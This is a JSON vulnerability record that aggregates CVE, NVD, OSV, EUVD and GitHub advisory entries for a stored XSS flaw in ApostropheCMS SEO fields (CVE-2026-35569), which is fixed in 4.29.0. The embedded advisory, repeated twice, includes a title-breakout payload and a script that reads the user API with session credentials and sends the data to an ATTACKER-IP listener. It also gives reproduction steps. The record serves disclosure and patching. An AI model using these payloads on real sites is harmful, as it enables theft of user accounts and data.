{"id":"CVE-2026-35569","aliases":["EUVD-2026-23106","GHSA-855c-r2vq-c292"],"status":"published","title":"ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00298,"percentile":0.22603,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-79"],"published":"2026-04-15T19:34:23Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"apostrophe","fixed_in":["4.29.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.28.0"},{"fixed":"4.29.0"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.29.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"apostrophecms"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292","tags":["x_refsource_CONFIRM","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35569","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-855c-r2vq-c292"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35569.json","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35569","title":"ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:34:23.648Z","modified":"2026-05-14T16:07:20.897Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-23106","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:34:23Z","modified":"2026-05-14T16:07:20Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:04:31.113278Z"}],"ghsa":[{"id":"GHSA-855c-r2vq-c292","title":"Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","description":"## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch('/api/v1/@apostrophecms/user', {\n  credentials:'include'\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch('/api/v1/@apostrophecms/user',{\n  credentials:'include'\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n\u003c/script\u003e\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server\n  \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569","status":"published","published":"2026-04-16T20:44:18Z","modified":"2026-04-30T20:08:18Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:39:59.776263Z"}],"nvd":[{"id":"CVE-2026-35569","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T20:16:36.353Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:12:14.748836Z"}],"osv":[{"id":"CVE-2026-35569","title":"ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:34:23.648Z","modified":"2026-10-28T02:30:55.117089626Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-116","CWE-79"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-855c-r2vq-c292","title":"Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","description":"## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch('/api/v1/@apostrophecms/user', {\n  credentials:'include'\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch('/api/v1/@apostrophecms/user',{\n  credentials:'include'\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n\u003c/script\u003e\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server\n  \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569","status":"published","published":"2026-04-16T20:44:18Z","modified":"2026-05-05T16:04:04.041725Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-116","CWE-79"],"updated_at":"2026-11-02T15:46:41.732368Z"}]}}